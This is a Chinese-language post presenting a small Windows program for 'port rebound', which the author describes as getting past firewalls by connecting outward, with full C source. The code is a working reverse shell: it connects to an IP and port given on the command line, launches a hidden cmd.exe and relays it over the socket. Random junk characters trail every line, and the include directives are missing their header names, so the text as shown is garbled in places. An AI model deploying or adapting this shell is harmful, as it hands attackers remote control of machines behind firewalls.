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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 wy{\/?~c  
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/* ============================== a#+>w5  
Rebound port in Windows NT B f5&}2u  
By wind,2006/7 b4Cfd?'  
===============================*/ d /B'[Ur  
#include _)KY  
#include dh^+l;!L  
IV{FH&t^T"  
#pragma comment(lib,"wsock32.lib") [dj5 $l|  
u R\m`  
void OutputShell(); PMgQxM*h  
SOCKET sClient; IS[Vap:  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {J~(#i k   
g ?afX1Sg  
void main(int argc,char **argv) JF M"ii{8  
{ >[ug zJ  
WSADATA stWsaData; v@8S5KJ  
int nRet; L 42|>%uo  
SOCKADDR_IN stSaiClient,stSaiServer; _+ twq i  
60GFVF]'2  
if(argc != 3) {~"7vkc+  
{ {r={#mO;p  
printf("Useage:\n\rRebound DestIP DestPort\n"); E@w[&#  
return; 'h-3V8m^e  
} J=UZ){c>:.  
d5DP^u  
WSAStartup(MAKEWORD(2,2),&stWsaData); $]@O/[  
YP[LQ>  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); aSOU#Csx  
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stSaiClient.sin_family = AF_INET; fO].e"}  
stSaiClient.sin_port = htons(0); ]7a;jNQu  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [6D>f?z  
FU%~9NKX  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) GR,J0LT   
{ Aoj6k\YX  
printf("Bind Socket Failed!\n"); '_B_&is  
return; ]o-Fi$h!  
} 7zD- ?%  
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stSaiServer.sin_family = AF_INET; 6Wj@r!u  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); JE0?@PI$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); x6LjcRS|  
KNy`Lj)VPY  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Hu[]h]  
{ 3bWum  
printf("Connect Error!"); xE%O:a?S  
return; OI+E (nA  
} n`]l^qE  
OutputShell(); 81Z4>F:  
} }wG,BB%N  
wGPotPdE2  
void OutputShell() EMLx?JnP  
{ osl=[pm  
char szBuff[1024]; \}Dpb%^\  
SECURITY_ATTRIBUTES stSecurityAttributes; D%-{q>F!gf  
OSVERSIONINFO stOsversionInfo; /Zc#j^_  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2s 7mI'  
STARTUPINFO stStartupInfo; e1Ob!N-  
char *szShell; ITONpg[f  
PROCESS_INFORMATION stProcessInformation; !g8*r"[UJ  
unsigned long lBytesRead; [*<.?9n)or  
(vKI1^,  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);  }mKwFVZ  
Zvxp%dES  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :/B:FY=  
stSecurityAttributes.lpSecurityDescriptor = 0; {VR`;  
stSecurityAttributes.bInheritHandle = TRUE; Yv^p =-E  
Gz ?2b#7v  
L[rpb.'FG  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); @%c81rv?  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); j")FaIM  
 l^P#kQA  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9qpU@V!  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !#?8BwnaZ  
stStartupInfo.wShowWindow = SW_HIDE; 6 *Zj]is  
stStartupInfo.hStdInput = hReadPipe; ! ao6e  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; &&WDo(r3  
5:UyUB  
GetVersionEx(&stOsversionInfo); W<v_2iVu  
7F9;Su3.  
switch(stOsversionInfo.dwPlatformId) `)$`-Pw*  
{ B| tzF0;c  
case 1: SET-8f  
szShell = "command.com"; Txo@ U  
break; c5("-xB  
default: ~b Rd)1  
szShell = "cmd.exe"; [(|^O>k8c  
break; qIh #~  
} GB>aT-G7q  
Gg|M+M?+  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); lyyX<=E{)  
^_68]l=  
send(sClient,szMsg,77,0); O+_N!/  
while(1) ZHCr2^w6  
{ Q[uAIyv0  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 77*qkKr  
if(lBytesRead) cx{T '1  
{ 4O(@'#LLz  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); r,4lqar;E  
send(sClient,szBuff,lBytesRead,0); OEnDsIhq  
} W5.Va.  
else dAL3.%  
{ ! RPb|1Y}+  
lBytesRead=recv(sClient,szBuff,1024,0); 9${Xer'  
if(lBytesRead<=0) break; \3aTaT?..  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 7d ;pvhnH  
} 'z5h3J  
} \vCGU>UY  
DI,K(_@G  
return; XX2h(-  
}
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